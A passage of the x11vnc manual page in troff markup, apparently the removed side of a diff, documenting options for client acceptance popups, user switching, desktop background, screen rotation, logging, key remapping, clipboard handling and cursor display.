-Disable the big warning message when you use x11vnc
-without some sort of password.
-.PP
-\fB-accept\fR \fIstring\fR
-.IP
-Run a command (possibly to prompt the user at the
-X11 display) to decide whether an incoming client
-should be allowed to connect or not. \fIstring\fR is
-an external command run via
-.IR system (3)
-or some special
-cases described below. Be sure to quote \fIstring\fR
-if it contains spaces, shell characters, etc. If the
-external command returns 0 the client is accepted,
-otherwise the client is rejected. See below for an
-extension to accept a client view-only.
-.IP
-If x11vnc is running as root (say from
-.IR inetd (8)
-or from
-display managers
-.IR xdm (1)
-,
-.IR gdm (1)
-, etc), think about the
-security implications carefully before supplying this
-option (likewise for the \fB-gone\fR option).
-.IP
-Environment: The RFB_CLIENT_IP environment variable will
-be set to the incoming client IP number and the port
-in RFB_CLIENT_PORT (or -1 if unavailable). Similarly,
-RFB_SERVER_IP and RFB_SERVER_PORT (the x11vnc side
-of the connection), are set to allow identification
-of the tcp virtual circuit. The x11vnc process
-id will be in RFB_X11VNC_PID, a client id number in
-RFB_CLIENT_ID, and the number of other connected clients
-in RFB_CLIENT_COUNT. RFB_MODE will be "accept".
-RFB_STATE will be PROTOCOL_VERSION, SECURITY_TYPE,
-AUTHENTICATION, INITIALISATION, NORMAL, or UNKNOWN
-indicating up to which state the client has achieved.
-RFB_LOGIN_VIEWONLY will be 0, 1, or -1 (unknown).
-RFB_USERNAME, RFB_LOGIN_TIME, and RFB_CURRENT_TIME may
-also be set.
-.IP
-If \fIstring\fR is "popup" then a builtin popup window
-is used. The popup will time out after 120 seconds,
-use "popup:N" to modify the timeout to N seconds
-(use 0 for no timeout).
-.IP
-In the case of "popup" and when the \fB-unixpw\fR option
-is specified, then a *second* window will be popped
-up after the user successfully logs in via his UNIX
-password. This time the user will be identified as
-UNIX:username@hostname, the "UNIX:" prefix indicates
-which user the viewer logged as via \fB-unixpw.\fR The first
-popup is only for whether to allow him to even *try*
-to login via unix password.
-.IP
-If \fIstring\fR is "xmessage" then an
-.IR xmessage (1)
-invocation is used for the command. xmessage must be
-installed on the machine for this to work.
-.IP
-Both "popup" and "xmessage" will present an option
-for accepting the client "View-Only" (the client
-can only watch). This option will not be presented if
-\fB-viewonly\fR has been specified, in which case the entire
-display is view only.
-.IP
-If the user supplied command is prefixed with something
-like "yes:0,no:*,view:3 mycommand ..." then this
-associates the numerical command return code with
-the actions: accept, reject, and accept-view-only,
-respectively. Use "*" instead of a number to indicate
-the default action (in case the command returns an
-unexpected value). E.g. "no:*" is a good choice.
-.IP
-Note that x11vnc blocks while the external command
-or popup is running (other clients may see no updates
-during this period). So a person sitting a the physical
-display is needed to respond to an popup prompt. (use
-a 2nd x11vnc if you lock yourself out).
-.IP
-More \fB-accept\fR tricks: use "popupmouse" to only allow
-mouse clicks in the builtin popup to be recognized.
-Similarly use "popupkey" to only recognize
-keystroke responses. These are to help avoid the
-user accidentally accepting a client by typing or
-clicking. All 3 of the popup keywords can be followed
-by +N+M to supply a position for the popup window.
-The default is to center the popup window.
-.PP
-\fB-afteraccept\fR \fIstring\fR
-.IP
-As \fB-accept,\fR except to run a user supplied command after
-a client has been accepted and authenticated. RFB_MODE
-will be set to "afteraccept" and the other RFB_*
-variables are as in \fB-accept.\fR Unlike \fB-accept,\fR the
-command return code is not interpreted by x11vnc.
-Example: \fB-afteraccept\fR 'killall xlock &'
-.PP
-\fB-gone\fR \fIstring\fR
-.IP
-As \fB-accept,\fR except to run a user supplied command when
-a client goes away (disconnects). RFB_MODE will be
-set to "gone" and the other RFB_* variables are as
-in \fB-accept.\fR The "popup" actions apply as well.
-Unlike \fB-accept,\fR the command return code is not
-interpreted by x11vnc. Example: \fB-gone\fR 'xlock &'
-.PP
-\fB-users\fR \fIlist\fR
-.IP
-If x11vnc is started as root (say from
-.IR inetd (8)
-or from
-display managers
-.IR xdm (1)
-,
-.IR gdm (1)
-, etc), then as soon
-as possible after connections to the X display are
-established try to switch to one of the users in the
-comma separated \fIlist\fR. If x11vnc is not running as
-root this option is ignored.
-.IP
-Why use this option? In general it is not needed since
-x11vnc is already connected to the X display and can
-perform its primary functions. The option was added
-to make some of the *external* utility commands x11vnc
-occasionally runs work properly. In particular under
-GNOME and KDE to implement the "\fB-solid\fR \fIcolor\fR" feature
-external commands (gconftool-2 and dcop) unfortunately
-must be run as the user owning the desktop session.
-Since this option switches userid it also affects the
-userid used to run the processes for the \fB-accept\fR and
-\fB-gone\fR options. It also affects the ability to read
-files for options such as \fB-connect,\fR \fB-allow,\fR and \fB-remap\fR
-and also the ultra and tight filetransfer feature if
-enabled. Note that the \fB-connect\fR file is also sometimes
-written to.
-.IP
-So be careful with this option since in some situations
-its use can decrease security.
-.IP
-In general the switch to a user will only take place
-if the display can still be successfully opened as that
-user (this is primarily to try to guess the actual owner
-of the session). Example: "\fB-users\fR \fIfred,wilma,betty\fR".
-Note that a malicious local user "barney" by
-quickly using "xhost +" when logging in may possibly
-get the x11vnc process to switch to user "fred".
-What happens next?
-.IP
-Under display managers it may be a long time before
-the switch succeeds (i.e. a user logs in). To instead
-make it switch immediately regardless if the display
-can be reopened prefix the username with the "+"
-character. E.g. "\fB-users\fR \fI+bob\fR" or "\fB-users\fR \fI+nobody\fR".
-.IP
-The latter (i.e. switching immediately to user
-"nobody") is the only obvious use of the \fB-users\fR option
-that increases security.
-.IP
-Use the following notation to associate a group with
-a user: user1.group1,user2.group2,... Note that
-.IR initgroups (2)
-will still be called first to try to
-switch to ALL of a user's groups (primary and additional
-groups). Only if that fails or it is not available
-then the single group specified as above (or the user's
-primary group if not specified) is switched to with
-.IR setgid (2).
-Use \fB-env\fR X11VNC_SINGLE_GROUP=1 to prevent
-trying
-.IR initgroups (2)
-and only switch to the single
-group. This sort of setting is only really needed to
-make the ultra or tight filetransfer permissions work
-properly. This format applies to any comma separated list
-of users, even the special "=" modes described below.
-.IP
-In \fB-unixpw\fR mode, if "\fB-users\fR \fIunixpw=\fR" is supplied
-then after a user authenticates himself via the
-\fB-unixpw\fR mechanism, x11vnc will try to switch to that
-user as though "\fB-users\fR \fI+username\fR" had been supplied.
-If you want to limit which users this will be done for,
-provide them as a comma separated list after "unixpw="
-Groups can also be specified as described above.
-.IP
-Similarly, in \fB-ssl\fR mode, if "\fB-users\fR \fIsslpeer=\fR" is
-supplied then after an SSL client authenticates with his
-cert (the \fB-sslverify\fR option is required for this) x11vnc
-will extract a UNIX username from the "emailAddress"
-field (username@hostname.com) of the "Subject" of the
-x509 SSL cert and then try to switch to that user as
-though "\fB-users\fR \fI+username\fR" had been supplied. If you
-want to limit which users this will be done for, provide
-them as a comma separated list after "sslpeer=".
-Set the env. var X11VNC_SSLPEER_CN to use the Common
-Name (normally a hostname) instead of the Email field.
-.IP
-NOTE: for sslpeer= mode the x11vnc administrator must
-take care that any client certs he adds to \fB-sslverify\fR
-have the intended UNIX username in the "emailAddress"
-field of the cert. Otherwise a user may be able to
-log in as another. This command can be of use in
-checking: "openssl x509 \fB-text\fR \fB-in\fR file.crt", see the
-"Subject:" line. Also, along with the normal RFB_*
-env. vars. (see \fB-accept)\fR passed to external cmd=
-commands, RFB_SSL_CLIENT_CERT will be set to the
-client's x509 certificate string.
-.IP
-The sslpeer= mode can aid finding X sessions via the
-FINDDISPLAY and FINDCREATEDISPLAY mechanisms.
-.IP
-To immediately switch to a user *before* connections
-to the X display are made or any files opened use the
-"=" character: "\fB-users\fR \fI=bob\fR". That user needs to
-be able to open the X display and any files of course.
-.IP
-The special user "guess=" means to examine the utmpx
-database (see
-.IR who (1)
-) looking for a user attached to
-the display number (from DISPLAY or \fB-display\fR option)
-and try him/her. To limit the list of guesses, use:
-"\fB-users\fR \fIguess=bob,betty\fR".
-.IP
-Even more sinister is the special user "lurk="
-that means to try to guess the DISPLAY from the utmpx
-login database as well. So it "lurks" waiting for
-anyone to log into an X session and then connects to it.
-Specify a list of users after the = to limit which users
-will be tried. To enable a different searching mode, if
-the first user in the list is something like ":0" or
-":0-2" that indicates a range of DISPLAY numbers that
-will be tried (regardless of whether they are in the
-utmpx database) for all users that are logged in. Also
-see the "\fB-display\fR \fIWAIT:...\fR" functionality. Examples:
-"\fB-users\fR \fIlurk=\fR" and also "\fB-users\fR \fIlurk=:0-1,bob,mary\fR"
-.IP
-Be especially careful using the "guess=" and "lurk="
-modes. They are not recommended for use on machines
-with untrustworthy local users.
-.PP
-\fB-noshm\fR
-.IP
-Do not use the MIT-SHM extension for the polling.
-Remote displays can be polled this way: be careful this
-can use large amounts of network bandwidth. This is
-also of use if the local machine has a limited number
-of shm segments and \fB-onetile\fR is not sufficient.
-.PP
-\fB-flipbyteorder\fR
-.IP
-Sometimes needed if remotely polled host has different
-endianness. Ignored unless \fB-noshm\fR is set.
-.PP
-\fB-onetile\fR
-.IP
-Do not use the new copy_tiles() framebuffer mechanism,
-just use 1 shm tile for polling. Limits shm segments
-used to 3.
-.IP
-To disable any automatic shm reduction set the
-env. var. X11VNC_NO_LIMIT_SHM.
-.PP
-\fB-solid\fR \fI[color]\fR
-.IP
-To improve performance, when VNC clients are connected
-try to change the desktop background to a solid color.
-The [color] is optional: the default color is "cyan4".
-For a different one specify the X color (rgb.txt name,
-e.g. "darkblue" or numerical "#RRGGBB").
-.IP
-Currently this option only works on GNOME, KDE, CDE,
-XFCE, and classic X (i.e. with the background image
-on the root window). The "gconftool-2", "dcop"
-and "xfconf-query" external commands are run for
-GNOME, KDE, and XFCE respectively. This also works
-on native MacOSX. (There is no color selection for
-MacOSX or XFCE.) Other desktops won't work, (send
-us the corresponding commands if you find them).
-If x11vnc is running as root (
-.IR inetd (8)
-or
-.IR gdm (1)
-),
-the \fB-users\fR option may be needed for GNOME, KDE, XFCE.
-If x11vnc guesses your desktop incorrectly, you can
-force it by prefixing color with "gnome:", "kde:",
-"cde:", "xfce:", or "root:".
-.IP
-Update: \fB-solid\fR no longer works on KDE4.
-.IP
-This mode works in a limited way on the Mac OS X Console
-with one color ('kelp') using the screensaver writing
-to the background. Look in "~/Library/Screen Savers"
-for VncSolidColor.png to change the color.
-.PP
-\fB-blackout\fR \fIstring\fR
-.IP
-Black out rectangles on the screen. \fIstring\fR is a
-comma separated list of WxH+X+Y type geometries for
-each rectangle. If one of the items on the list is the
-string "noptr" the mouse pointer will not be allowed
-to go into a blacked out region.
-.PP
-\fB-xinerama,\fR \fB-noxinerama\fR
-.IP
-If your screen is composed of multiple monitors
-glued together via XINERAMA, and that screen is
-not a rectangle this option will try to guess the
-areas to black out (if your system has libXinerama).
-default: \fB-xinerama\fR
-.IP
-In general, we have noticed on XINERAMA displays you may
-need to use the "\fB-xwarppointer\fR" option if the mouse
-pointer misbehaves and it is enabled by default. Use
-"\fB-noxwarppointer\fR" if you do not want this.
-.PP
-\fB-xtrap\fR
-.IP
-Use the DEC-XTRAP extension for keystroke and mouse
-input insertion. For use on legacy systems, e.g. X11R5,
-running an incomplete or missing XTEST extension.
-By default DEC-XTRAP will be used if XTEST server grab
-control is missing, use \fB-xtrap\fR to do the keystroke and
-mouse insertion via DEC-XTRAP as well.
-.PP
-\fB-xrandr\fR \fI[mode]\fR
-.IP
-If the display supports the XRANDR (X Resize, Rotate
-and Reflection) extension, and you expect XRANDR events
-to occur to the display while x11vnc is running, this
-options indicates x11vnc should try to respond to
-them (as opposed to simply crashing by assuming the
-old screen size). See the
-.IR xrandr (1)
-manpage and run
-\'xrandr \fB-q'\fR for more info. [mode] is optional and
-described below.
-.IP
-Since watching for XRANDR events and trapping errors
-increases polling overhead, only use this option if
-XRANDR changes are expected. For example on a rotatable
-screen PDA or laptop, or using a XRANDR-aware Desktop
-where you resize often. It is best to be viewing with a
-vncviewer that supports the NewFBSize encoding, since it
-knows how to react to screen size changes. Otherwise,
-LibVNCServer tries to do so something reasonable for
-viewers that cannot do this (portions of the screen
-may be clipped, unused, etc).
-.IP
-Note: the default now is to check for XRANDR events, but
-do not trap every X call that may fail due to resize.
-If a resize event is received, the full \fB-xrandr\fR mode
-is enabled. To disable even checking for events supply:
-\fB-noxrandr.\fR
-.IP
-"mode" defaults to "resize", which means create a
-new, resized, framebuffer and hope all viewers can cope
-with the change. "newfbsize" means first disconnect
-all viewers that do not support the NewFBSize VNC
-encoding, and then resize the framebuffer. "exit"
-means disconnect all viewer clients, and then terminate
-x11vnc.
-.PP
-\fB-rotate\fR \fIstring\fR
-.IP
-Rotate and/or flip the framebuffer view exported by VNC.
-This transformation is independent of XRANDR and is
-done in software in main memory and so may be slower.
-This mode could be useful on a handheld with portrait or
-landscape modes that do not correspond to the scanline
-order of the actual framebuffer. \fIstring\fR can be:
-.IP
-x flip along x-axis
-y flip along y-axis
-xy flip along x- and y-axes
-+90 rotate 90 degrees clockwise
-\fB-90\fR rotate 90 degrees counter-clockwise
-+90x rotate 90 degrees CW, then flip along x
-+90y rotate 90 degrees CW, then flip along y
-.IP
-these give all possible rotations and reflections.
-.IP
-Aliases: same as xy: yx, +180, \fB-180,\fR 180
-same as \fB-90:\fR +270, 270
-same as +90: 90, (ditto for 90x, 90y)
-.IP
-Like \fB-scale,\fR this transformation is applied at the very
-end of any chain of framebuffer transformations and so
-any options with geometries, e.g. \fB-blackout,\fR \fB-clip,\fR etc.
-are relative to the original X (or \fB-rawfb)\fR framebuffer,
-not the final one sent to VNC viewers.
-.IP
-If you do not want the cursor shape to be rotated
-prefix \fIstring\fR with "nc:", e.g. "nc:+90",
-"nc:xy", etc.
-.PP
-\fB-padgeom\fR \fIWxH\fR
-.IP
-Whenever a new vncviewer connects, the framebuffer is
-replaced with a fake, solid black one of geometry WxH.
-Shortly afterwards the framebuffer is replaced with the
-real one. This is intended for use with vncviewers
-that do not support NewFBSize and one wants to make
-sure the initial viewer geometry will be big enough
-to handle all subsequent resizes (e.g. under \fB-xrandr,\fR
-\fB-remote\fR id:windowid, rescaling, etc.)
-.IP
-In \fB-unixpw\fR mode this sets the size of the login screen.
-Use "once:WxH" it ignore padgeom after the login
-screen is set up.
-.PP
-\fB-o\fR \fIlogfile\fR
-.IP
-Write stderr messages to file \fIlogfile\fR instead of to
-the terminal. Same as "\fB-logfile\fR \fIfile\fR". To append
-to the file use "\fB-oa\fR \fIfile\fR" or "\fB-logappend\fR \fIfile\fR".
-If \fIlogfile\fR contains the string "%VNCDISPLAY"
-it is expanded to the vnc display (the name may need
-to be guessed at.) "%HOME" works too.
-.PP
-\fB-flag\fR \fIfile\fR
-.IP
-Write the "PORT=NNNN" (e.g. PORT=5900) string to
-\fIfile\fR in addition to stdout. This option could be
-useful by wrapper script to detect when x11vnc is ready.
-.PP
-\fB-rmflag\fR \fIfile\fR
-.IP
-Remove \fIfile\fR at exit to signal when x11vnc is done.
-The file is created at startup if it does not already
-exist or if \fIfile\fR is prefixed with "create:".
-If the file is created, the x11vnc PID is placed in
-the file. Otherwise the files contents is not changed.
-Use prefix "nocreate:" to prevent creation.
-.PP
-\fB-rc\fR \fIfilename\fR
-.IP
-Use \fIfilename\fR instead of $HOME/.x11vncrc for rc file.
-.PP
-\fB-norc\fR
-.IP
-Do not process any .x11vncrc file for options.
-.PP
-\fB-env\fR \fIVAR=VALUE\fR
-.IP
-Set the environment variable 'VAR' to value 'VALUE'
-at x11vnc startup. This is a convenience utility to
-avoid shell script wrappers, etc. to set the env. var.
-You may specify as many of these as needed on the
-command line.
-.PP
-\fB-prog\fR \fI/path/to/x11vnc\fR
-.IP
-Set the full path to the x11vnc program for cases when
-it cannot be determined from argv[0] (e.g. tcpd/inetd)
-.PP
-\fB-h,\fR \fB-help\fR
-.IP
-Print this help text.
--?, \fB-opts\fR Only list the x11vnc options.
-.PP
-\fB-V,\fR \fB-version\fR
-.IP
-Print program version and last modification date.
-.PP
-\fB-license\fR
-.IP
-Print out license information. Same as \fB-copying\fR and
-\fB-warranty.\fR
-.PP
-\fB-dbg\fR
-.IP
-Instead of exiting after cleaning up, run a simple
-"debug crash shell" when fatal errors are trapped.
-.PP
-\fB-q,\fR \fB-quiet\fR
-.IP
-Be quiet by printing less informational output to
-stderr. (use \fB-noquiet\fR to undo an earlier \fB-quiet.)\fR
-.IP
-The \fB-quiet\fR option does not eliminate all informational
-output, it only reduces it. It is ignored in most
-auxiliary usage modes, e.g. \fB-storepasswd.\fR To eliminate
-all output use: 2>/dev/null 1>&2, etc.
-.PP
-\fB-v,\fR \fB-verbose\fR
-.IP
-Print out more information to stderr.
-.PP
-\fB-bg\fR
-.IP
-Go into the background after screen setup. Messages to
-stderr are lost unless \fB-o\fR logfile is used. Something
-like this could be useful in a script:
-.IP
-port=`ssh -t $host "x11vnc -display :0 -bg" | grep PORT`
-.IP
-port=`echo "$port" | sed -e 's/PORT=//'`
-.IP
-port=`expr $port - 5900`
-.IP
-vncviewer $host:$port
-.PP
-\fB-modtweak,\fR \fB-nomodtweak\fR
-.IP
-Option \fB-modtweak\fR automatically tries to adjust the AltGr
-and Shift modifiers for differing language keyboards
-between client and host. Otherwise, only a single key
-press/release of a Keycode is simulated (i.e. ignoring
-the state of the modifiers: this usually works for
-identical keyboards). Also useful in resolving cases
-where a Keysym is bound to multiple keys (e.g. "<" + ">"
-and "," + "<" keys). Default: \fB-modtweak\fR
-.IP
-If you are having trouble with with keys and \fB-xkb\fR or
-\fB-noxkb,\fR and similar things don't help, try \fB-nomodtweak.\fR
-.IP
-On some HP-UX systems it is been noted that they have
-an odd keymapping where a single keycode will have a
-keysym, e.g. "#", up to three times. You can check
-via "xmodmap \fB-pk"\fR or the \fB-dk\fR option. The failure
-is when you try to type "#" it yields "3". If you
-see this problem try setting the environment variable
-MODTWEAK_LOWEST=1 to see if it helps.
-.PP
-\fB-xkb,\fR \fB-noxkb\fR
-.IP
-When in modtweak mode, use the XKEYBOARD extension (if
-the X display supports it) to do the modifier tweaking.
-This is powerful and should be tried if there are still
-keymapping problems when using \fB-modtweak\fR by itself.
-The default is to check whether some common keysyms,
-e.g. !, @, [, are only accessible via \fB-xkb\fR mode and if
-so then automatically enable the mode. To disable this
-automatic detection use \fB-noxkb.\fR
-.IP
-When \fB-xkb\fR mode is active you can set these env. vars.
-They apply only when there is ambiguity as to which
-key to choose (i.e the mapping is not one-to-one).
-NOKEYHINTS=1: for up ascii keystrokes do not use score
-hints saved when the key was pressed down. NOANYDOWN=1:
-for up keystrokes do not resort to searching through
-keys that are currently pressed down. KEYSDOWN=N:
-remember the last N keys press down for tie-breaking
-when an up keystroke comes in.
-.PP
-\fB-capslock\fR
-.IP
-When in \fB-modtweak\fR (the default) or \fB-xkb\fR mode,
-if a keysym in the range A-Z comes in check the X
-server to see if the Caps_Lock is set. If it is do
-not artificially press Shift to generate the keysym.
-This will enable the CapsLock key to behave correctly
-in some circumstances: namely *both* the VNC viewer
-machine and the x11vnc X server are in the CapsLock
-on state. If one side has CapsLock on and the other
-off and the keyboard is not behaving as you think it
-should you should correct the CapsLock states (hint:
-pressing CapsLock inside and outside of the viewer can
-help toggle them both to the correct state). However,
-for best results do not use this option, but rather
-*only* enable CapsLock on the VNC viewer side (i.e. by
-pressing CapsLock outside of the viewer window, also
-\fB-skip_lockkeys\fR below). Also try \fB-nomodtweak\fR for a
-possible workaround.
-.PP
-\fB-skip_lockkeys,\fR \fB-noskip_lockkeys\fR
-.IP
-Have x11vnc ignore all Caps_Lock, Shift_Lock, Num_Lock,
-Scroll_Lock keysyms received from viewers. The idea is
-you press Caps_Lock on the VNC Viewer side but that does
-not change the lock state in the x11vnc-side X server.
-Nevertheless your capitalized letters come in over
-the wire and are applied correctly to the x11vnc-side
-X server. Note this mode probably won't do what you
-want in \fB-nomodtweak\fR mode. Also, a kludge for KP_n
-digits is always done in this mode: they are mapped to
-regular digit keysyms. See also \fB-capslock\fR above.
-The default is \fB-noskip_lockkeys.\fR
-.PP
-\fB-skip_keycodes\fR \fIstring\fR
-.IP
-Ignore the comma separated list of decimal keycodes.
-Perhaps these are keycodes not on your keyboard but
-your X server thinks exist. Currently only applies
-to \fB-xkb\fR mode. Use this option to help x11vnc in the
-reverse problem it tries to solve: Keysym -> Keycode(s)
-when ambiguities exist (more than one Keycode per
-Keysym). Run 'xmodmap \fB-pk'\fR to see your keymapping.
-Example: "\fB-skip_keycodes\fR \fI94,114\fR"
-.PP
-\fB-sloppy_keys\fR
-.IP
-Experimental option that tries to correct some
-"sloppy" key behavior. E.g. if at the viewer you
-press Shift+Key but then release the Shift before
-Key that could give rise to extra unwanted characters
-(usually only between keyboards of different languages).
-Only use this option if you observe problems with
-some keystrokes.
-.PP
-\fB-skip_dups,\fR \fB-noskip_dups\fR
-.IP
-Some VNC viewers send impossible repeated key events,
-e.g. key-down, key-down, key-up, key-up all for the same
-key, or 20 downs in a row for the same modifier key!
-Setting \fB-skip_dups\fR means to skip these duplicates and
-just process the first event. Note: some VNC viewers
-assume they can send down's without the corresponding
-up's and so you should not set this option for
-these viewers (symptom: some keys do not autorepeat)
-Default: \fB-noskip_dups\fR
-.PP
-\fB-add_keysyms,\fR \fB-noadd_keysyms\fR
-.IP
-If a Keysym is received from a VNC viewer and that
-Keysym does not exist in the X server, then add the
-Keysym to the X server's keyboard mapping on an unused
-key. Added Keysyms will be removed periodically and
-also when x11vnc exits. Default: \fB-add_keysyms\fR
-.PP
-\fB-clear_mods\fR
-.IP
-At startup and exit clear the modifier keys by sending
-KeyRelease for each one. The Lock modifiers are skipped.
-Used to clear the state if the display was accidentally
-left with any pressed down.
-.PP
-\fB-clear_keys\fR
-.IP
-As \fB-clear_mods,\fR except try to release ANY pressed key.
-Note that this option and \fB-clear_mods\fR can interfere
-with a person typing at the physical keyboard.
-.PP
-\fB-clear_all\fR
-.IP
-As \fB-clear_keys,\fR except try to release any CapsLock,
-NumLock, etc. locks as well.
-.PP
-\fB-remap\fR \fIstring\fR
-.IP
-Read Keysym remappings from file named \fIstring\fR.
-Format is one pair of Keysyms per line (can be name
-or hex value) separated by a space. If no file named
-\fIstring\fR exists, it is instead interpreted as this
-form: key1-key2,key3-key4,... See <X11/keysymdef.h>
-header file for a list of Keysym names, or use
-.IR xev (1).
-.IP
-To map a key to a button click, use the fake Keysyms
-"Button1", ..., etc. E.g: "\fB-remap\fR \fISuper_R-Button2\fR"
-(useful for pasting on a laptop)
-.IP
-I use these if the machine I am viewing from does not
-have a scrollwheel or I don't like using the one it has:
-.IP
-\fB-remap\fR Super_R-Button4,Menu-Button5
-\fB-remap\fR KP_Add-Button4,KP_Enter-Button5
-.IP
-the former would be used on a PC, the latter on a
-MacBook. This way those little used keys can be used
-to generate bigger hops than the Up and Down arrows
-provide. One can scroll through text or web pages more
-quickly this way (especially if x11vnc scroll detection
-is active.)
-.IP
-Use Button44, Button12, etc. for multiple clicks.
-.IP
-To disable a keysym (i.e. make it so it will not be
-injected), remap it to "NoSymbol" or "None".
-.IP
-Dead keys: "dead" (or silent, mute) keys are keys that
-do not produce a character but must be followed by a 2nd
-keystroke. This is often used for accenting characters,
-e.g. to put "`" on top of "a" by pressing the dead
-key and then "a". Note that this interpretation
-is not part of core X11, it is up to the toolkit or
-application to decide how to react to the sequence.
-The X11 names for these keysyms are "dead_grave",
-"dead_acute", etc. However some VNC viewers send the
-keysyms "grave", "acute" instead thereby disabling
-the accenting. To work around this \fB-remap\fR can be used.
-For example "\fB-remap\fR \fIgrave-dead_grave,acute-dead_acute\fR"
-.IP
-As a convenience, "\fB-remap\fR \fIDEAD\fR" applies these remaps:
-.IP
- g grave-dead_grave
- a acute-dead_acute
- c asciicircum-dead_circumflex
- t asciitilde-dead_tilde
- m macron-dead_macron
- b breve-dead_breve
- D abovedot-dead_abovedot
- d diaeresis-dead_diaeresis
- o degree-dead_abovering
- A doubleacute-dead_doubleacute
- r caron-dead_caron
- e cedilla-dead_cedilla
-.IP
-.IP
-If you just want a subset use the first letter
-label, e.g. "\fB-remap\fR \fIDEAD=ga\fR" to get the first two.
-Additional remaps may also be supplied via commas,
-e.g. "\fB-remap\fR \fIDEAD=ga,Super_R-Button2\fR". Finally,
-"DEAD=missing" means to apply all of the above as
-long as the left hand member is not already in the
-X11 keymap.
-.PP
-\fB-norepeat,\fR \fB-repeat\fR
-.IP
-Option \fB-norepeat\fR disables X server key auto repeat when
-VNC clients are connected and VNC keyboard input is
-not idle for more than 5 minutes. This works around a
-repeating keystrokes bug (triggered by long processing
-delays between key down and key up client events:
-either from large screen changes or high latency).
-Default: \fB-norepeat\fR
-.IP
-You can set the env. var. X11VNC_IDLE_TIMEOUT to the
-number of idle seconds you want (5min = 300secs).
-.IP
-Note: your VNC viewer side will likely do autorepeating,
-so this is no loss unless someone is simultaneously at
-the real X display.
-.IP
-Use "\fB-norepeat\fR \fIN\fR" to set how many times norepeat will
-be reset if something else (e.g. X session manager)
-undoes it. The default is 2. Use a negative value
-for unlimited resets.
-.PP
-\fB-nofb\fR
-.IP
-Ignore video framebuffer: only process keyboard and
-pointer. Intended for use with Win2VNC and x2vnc
-dual-monitor setups.
-.PP
-\fB-nobell\fR
-.IP
-Do not watch for XBell events. (no beeps will be heard)
-Note: XBell monitoring requires the XKEYBOARD extension.
-.PP
-\fB-nosel\fR
-.IP
-Do not manage exchange of X selection/cutbuffer between
-VNC viewers and the X server at all.
-.PP
-\fB-noprimary\fR
-.IP
-Do not poll the PRIMARY selection for changes to send
-back to clients. (PRIMARY is still set on received
-changes, however).
-.PP
-\fB-nosetprimary\fR
-.IP
-Do not set the PRIMARY selection for changes received
-from VNC clients.
-.PP
-\fB-noclipboard\fR
-.IP
-Do not poll the CLIPBOARD selection for changes to send
-back to clients. (CLIPBOARD is still set on received
-changes, however).
-.PP
-\fB-nosetclipboard\fR
-.IP
-Do not set the CLIPBOARD selection for changes
-received from VNC clients.
-.PP
-\fB-seldir\fR \fIstring\fR
-.IP
-If direction string is "send", only send the selection
-to viewers, and if it is "recv" only receive it from
-viewers. To work around apps setting the selection
-too frequently and messing up the other end. You can
-actually supply a comma separated list of directions,
-including "debug" to turn on debugging output.
-.PP
-\fB-cursor\fR \fI[mode],\fR \fB-nocursor\fR
-.IP
-Sets how the pointer cursor shape (little icon at the
-mouse pointer) should be handled. The "mode" string
-is optional and is described below. The default
-is to show some sort of cursor shape(s). How this
-is done depends on the VNC viewer and the X server.
-Use \fB-nocursor\fR to disable cursor shapes completely.
-.IP
-Some VNC viewers support the TightVNC CursorPosUpdates
-and CursorShapeUpdates extensions (cuts down on
-network traffic by not having to send the cursor image
-every time the pointer is moved), in which case these
-extensions are used (see \fB-nocursorshape\fR and \fB-nocursorpos\fR
-below to disable). For other viewers the cursor shape
-is written directly to the framebuffer every time the
-pointer is moved or changed and gets sent along with
-the other framebuffer updates. In this case, there
-will be some lag between the vnc viewer pointer and
-the remote cursor position.
-.IP
-If the X display supports retrieving the cursor shape
-information from the X server, then the default is
-to use that mode. On Solaris this can be done with
-the SUN_OVL extension using \fB-overlay\fR (see also the
-\fB-overlay_nocursor\fR option). A similar overlay scheme
-is used on IRIX. Xorg (e.g. Linux) and recent Solaris
-Xsun servers support the XFIXES extension to retrieve
-the exact cursor shape from the X server. If XFIXES
-is present it is preferred over Overlay and is used by
-default (see \fB-noxfixes\fR below). This can be disabled
-with \fB-nocursor,\fR and also some values of the "mode"
-option below.
-.IP
-Note that under XFIXES cursors with transparency (alpha
-channel) will usually not be exactly represented and one
-may find Overlay preferable. See also the \fB-alphacut\fR
-and \fB-alphafrac\fR options below as fudge factors to try
-to improve the situation for cursors with transparency
-for a given theme.
-.IP
-The "mode" string can be used to fine-tune the
-displaying of cursor shapes. It can be used the
-following ways:
-.IP
-"\fB-cursor\fR \fIarrow\fR" - just show the standard arrow
-nothing more or nothing less.
-.IP
-"\fB-cursor\fR \fInone\fR" - same as "\fB-nocursor\fR"
-.IP
-"\fB-cursor\fR \fIX\fR" - when the cursor appears to be on the
-root window, draw the familiar X shape. Some desktops
-such as GNOME cover up the root window completely,
-and so this will not work, try "X1", etc, to try to
-shift the tree depth. On high latency links or slow
-machines there will be a time lag between expected and
-the actual cursor shape.
-.IP
-"\fB-cursor\fR \fIsome\fR" - like "X" but use additional
-heuristics to try to guess if the window should have
-a windowmanager-like resizer cursor or a text input
-I-beam cursor. This is a complete hack, but may be
-useful in some situations because it provides a little
-more feedback about the cursor shape.
-.IP
-"\fB-cursor\fR \fImost\fR" - try to show as many cursors as
-possible. Often this will only be the same as "some"
-unless the display has overlay visuals or XFIXES
-extensions available. On Solaris and IRIX if XFIXES
-is not available, \fB-overlay\fR mode will be attempted.
-.PP
-\fB-cursor_drag\fR
-.IP
-Show cursor shape changes even when the mouse is being
-dragged with a mouse button down. This is useful if you
-want to be able to see Drag-and-Drop cursor icons, etc.
-.PP
-\fB-arrow\fR \fIn\fR
-.IP
-Choose an alternate "arrow" cursor from a set of
-some common ones. n can be 1 to 6. Default is: 1
-Ignored when in XFIXES cursor-grabbing mode.
-.PP
-\fB-noxfixes\fR
-.IP
-Do not use the XFIXES extension to draw the exact cursor
-shape even if it is available.
-.IP
-Note: To work around a crash in Xorg 1.5 and later
-some people needed to use \fB-noxfixes.\fR The Xorg crash
-occurred right after a Display Manager (e.g. GDM) login.
-Starting with x11vnc 0.9.9 it tries to automatically
-avoid using XFIXES until it is sure a window manager
-is running. See the \fB-reopen\fR option for more info and
-how to use X11VNC_AVOID_WINDOWS=never to disable it.
-.PP
-\fB-alphacut\fR \fIn\fR
-.IP
-When using the XFIXES extension for the cursor shape,
-cursors with transparency will not usually be displayed
-exactly (but opaque ones will). This option sets n as
-a cutoff for cursors that have transparency ("alpha
-channel" with values ranging from 0 to 255) Any cursor
-pixel with alpha value less than n becomes completely
-transparent. Otherwise the pixel is completely opaque.
-Default 240
-.PP
-\fB-alphafrac\fR \fIfraction\fR
-.IP
-With the threshold in \fB-alphacut\fR some cursors will become
-almost completely transparent because their alpha values
-are not high enough. For those cursors adjust the
